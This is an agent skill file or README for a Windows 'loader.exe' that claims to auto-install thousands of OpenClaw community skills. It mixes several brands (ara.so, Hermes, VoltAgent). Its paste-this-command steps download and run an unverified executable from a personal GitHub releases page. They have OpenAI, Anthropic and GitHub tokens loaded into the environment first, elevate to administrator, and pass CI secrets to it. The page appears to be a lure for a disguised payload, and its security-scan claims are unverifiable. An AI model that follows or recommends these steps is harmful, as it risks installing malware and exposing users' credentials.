loader-openclaw-skills

# loader-openclaw-skills > Skill by [ara.so](https://ara.so) — Hermes Skills collection. VoltAgent loader is a fully automatic skill management system for OpenClaw agents. It handles installation, updates, dependency resolution, environment configuration, and launching of 5200+ curated community skills from ClawHub without requiring manual commands or configuration. ## What It Does The loader automatically: - Detects and installs OpenClaw if not present - Downloads and installs skills from ClawHub registry - Resolves dependencies and version conflicts - Configures environment variables and API keys - Performs security scans (VirusTotal, malicious pattern detection) - Creates backups of your workspace - Launches agents with optimal parameters - Filters out 7,215+ low-quality/malicious skills automatically ## Installation ### Download 1. Download `loader.exe` from the releases page: ```powershell # Using PowerShell Invoke-WebRequest -Uri "https://github.com/gimgyeon/loader-openclaw-skills/releases/latest/download/loader.exe" -OutFile "loader.exe" ``` 2. Or manually download from GitHub releases ### Basic Usage Double-click `loader.exe` or run from command line: ```cmd loader.exe ``` Wait for "All done" message. The agent will launch with all installed skills. ## Key Commands ### Install Skills by Category ```cmd # Install all Git & GitHub skills (167 skills) loader.exe --category "Git & GitHub" # Install all Coding Agents & IDEs skills (1184 skills) loader.exe --category "Coding Agents & IDEs" # Install Browser & Automation skills (323 skills) loader.exe --category "Browser & Automation" # Install DevOps & Cloud skills (393 skills) loader.exe --category "DevOps & Cloud" ``` ### Search and Install ```cmd # Search and install best browser automation skills loader.exe --search "browser automation" # Search for specific functionality loader.exe --search "git pr merge" # Search and install PDF skills loader.exe --search "pdf document" ``` ### Smart Installation ```cmd # Analyze project and install only relevant skills loader.exe --smart # Smart install with verbose output loader.exe --smart --verbose ``` ### Advanced Options ```cmd # Update all installed skills loader.exe --update # List all available categories loader.exe --list-categories # Show installed skills loader.exe --list-installed # Backup current configuration loader.exe --backup # Restore from backup loader.exe --restore # Run in sandbox mode (security testing) loader.exe --sandbox # Skip security scans (not recommended) loader.exe --skip-security ``` ## Configuration ### Environment Variables Set these before running loader for automatic configuration: ```cmd # OpenAI API key set OPENAI_API_KEY=your_key_here # Anthropic Claude API key set ANTHROPIC_API_KEY=your_key_here # GitHub token for private repos set GITHUB_TOKEN=your_token_here # ClawHub registry URL (optional, uses default) set CLAWHUB_REGISTRY=https://hub.openclaw.dev ``` ### Config File Create `loader.config.json` in the same directory as `loader.exe`: ```json { "auto_update": true, "security_scan": true, "sandbox_test": false, "max_concurrent_installs": 5, "categories": [ "Git & GitHub", "Coding Agents & IDEs", "Browser & Automation" ], "exclude_skills": [ "crypto-trader", "blockchain-monitor" ], "api_keys": { "openai": "${OPENAI_API_KEY}", "anthropic": "${ANTHROPIC_API_KEY}" } } ``` ## Common Patterns ### Install Skills for Web Development ```cmd # Install web development stack loader.exe --category "Web & Frontend Development" loader.exe --category "DevOps & Cloud" loader.exe --search "browser testing" ``` ### Install Skills for Data Analysis ```cmd loader.exe --category "Data & Analytics" loader.exe --search "pdf extraction" loader.exe --search "document processing" ``` ### Install Skills for AI Development ```cmd loader.exe --category "AI & LLMs" loader.exe --category "Image & Video Generation" loader.exe --search "prompt engineering" ``` ### Custom Installation Script Create `install-skills.bat`: ```batch @echo off echo Installing development skills... loader.exe --category "Git & GitHub" loader.exe --category "Coding Agents & IDEs" loader.exe --search "code review" loader.exe --search "unit testing" echo Done! pause ``` ## Integration Examples ### PowerShell Script ```powershell # install-openclaw-env.ps1 $ErrorActionPreference = "Stop" # Set API keys from secure storage $env:OPENAI_API_KEY = Get-Secret -Name OpenAI-Key -AsPlainText $env:ANTHROPIC_API_KEY = Get-Secret -Name Anthropic-Key -AsPlainText # Download loader if not present if (-not (Test-Path "loader.exe")) { Write-Host "Downloading loader..." Invoke-WebRequest -Uri "https://github.com/gimgyeon/loader-openclaw-skills/releases/latest/download/loader.exe" -OutFile "loader.exe" } # Install skills for specific project Write-Host "Installing skills for web development project..." .\loader.exe --category "Web & Frontend Development" .\loader.exe --category "Browser & Automation" .\loader.exe --search "react testing" Write-Host "Skills installed successfully!" ``` ### Batch Script with Error Handling ```batch @echo off setlocal enabledelayedexpansion echo VoltAgent Loader Setup echo ===================== REM Check if loader exists if not exist "loader.exe" ( echo ERROR: loader.exe not found! echo Please download from: https://github.com/gimgyeon/loader-openclaw-skills/releases exit /b 1 ) REM Set API keys set /p OPENAI_KEY="Enter OpenAI API Key: " set OPENAI_API_KEY=%OPENAI_KEY% REM Install skills echo Installing skills... loader.exe --category "Git & GitHub" --verbose if %ERRORLEVEL% neq 0 ( echo ERROR: Installation failed! exit /b 1 ) echo Installation complete! pause ``` ## Security Best Practices ### Verify Downloads ```powershell # Check file hash before running $hash = Get-FileHash loader.exe -Algorithm SHA256 Write-Host "SHA256: $($hash.Hash)" # Compare with hash from releases page ``` ### Run Security Scan ```cmd # Always run with security scanning enabled (default) loader.exe --category "Browser & Automation" # Enable sandbox testing for untrusted skills loader.exe --sandbox --search "new experimental tool" ``` ### Review Before Installation ```cmd # List skills that would be installed without actually installing loader.exe --category "AI & LLMs" --dry-run # Show detailed info about a specific skill loader.exe --info "skill-name" ``` ## Troubleshooting ### Loader Won't Start ```cmd # Run with verbose logging loader.exe --verbose --debug # Check Windows Event Viewer eventvwr.msc # Navigate to Windows Logs > Application ``` ### Skills Not Installing ```cmd # Clear cache and retry loader.exe --clear-cache loader.exe --category "Git & GitHub" # Check network connectivity ping hub.openclaw.dev # Verify API keys are set echo %OPENAI_API_KEY% ``` ### Dependency Conflicts ```cmd # Reset all skills loader.exe --reset # Reinstall with fresh dependencies loader.exe --category "Coding Agents & IDEs" --force-reinstall ``` ### Permission Errors ```cmd # Run as administrator # Right-click loader.exe > Run as administrator # Or from elevated PowerShell: Start-Process loader.exe -Verb RunAs -ArgumentList "--category 'Git & GitHub'" ``` ### API Rate Limiting ```cmd # Reduce concurrent installs in config echo {"max_concurrent_installs": 2} > loader.config.json # Wait and retry timeout /t 300 loader.exe --resume ``` ### Corrupted Installation ```cmd # Restore from backup loader.exe --restore # Or clean reinstall loader.exe --uninstall-all loader.exe --category "Git & GitHub" ``` ## Advanced Usage ### Automated CI/CD Integration ```yaml # .github/workflows/setup-openclaw.yml name: Setup OpenClaw Skills on: [push] jobs: setup: runs-on: windows-latest steps: - name: Download loader run: | Invoke-WebRequest -Uri "https://github.com/gimgyeon/loader-openclaw-skills/releases/latest/download/loader.exe" -OutFile "loader.exe" - name: Install skills env: OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} run: | .\loader.exe --category "Git & GitHub" --non-interactive ``` ### Custom Skill Filters Create `custom-filter.json`: ```json { "include_patterns": ["test", "automation", "ci/cd"], "exclude_patterns": ["crypto", "trading"], "min_stars": 10, "max_age_days": 365, "require_tests": true } ``` Use with loader: ```cmd loader.exe --filter custom-filter.json --category "DevOps & Cloud" ``` ## Platform Requirements - **OS**: Windows 10/11 (x64) - **RAM**: 4GB minimum, 8GB recommended - **Disk**: 2GB free space - **Network**: Internet connection required - **.NET**: Framework 4.8+ (installed automatically if needed)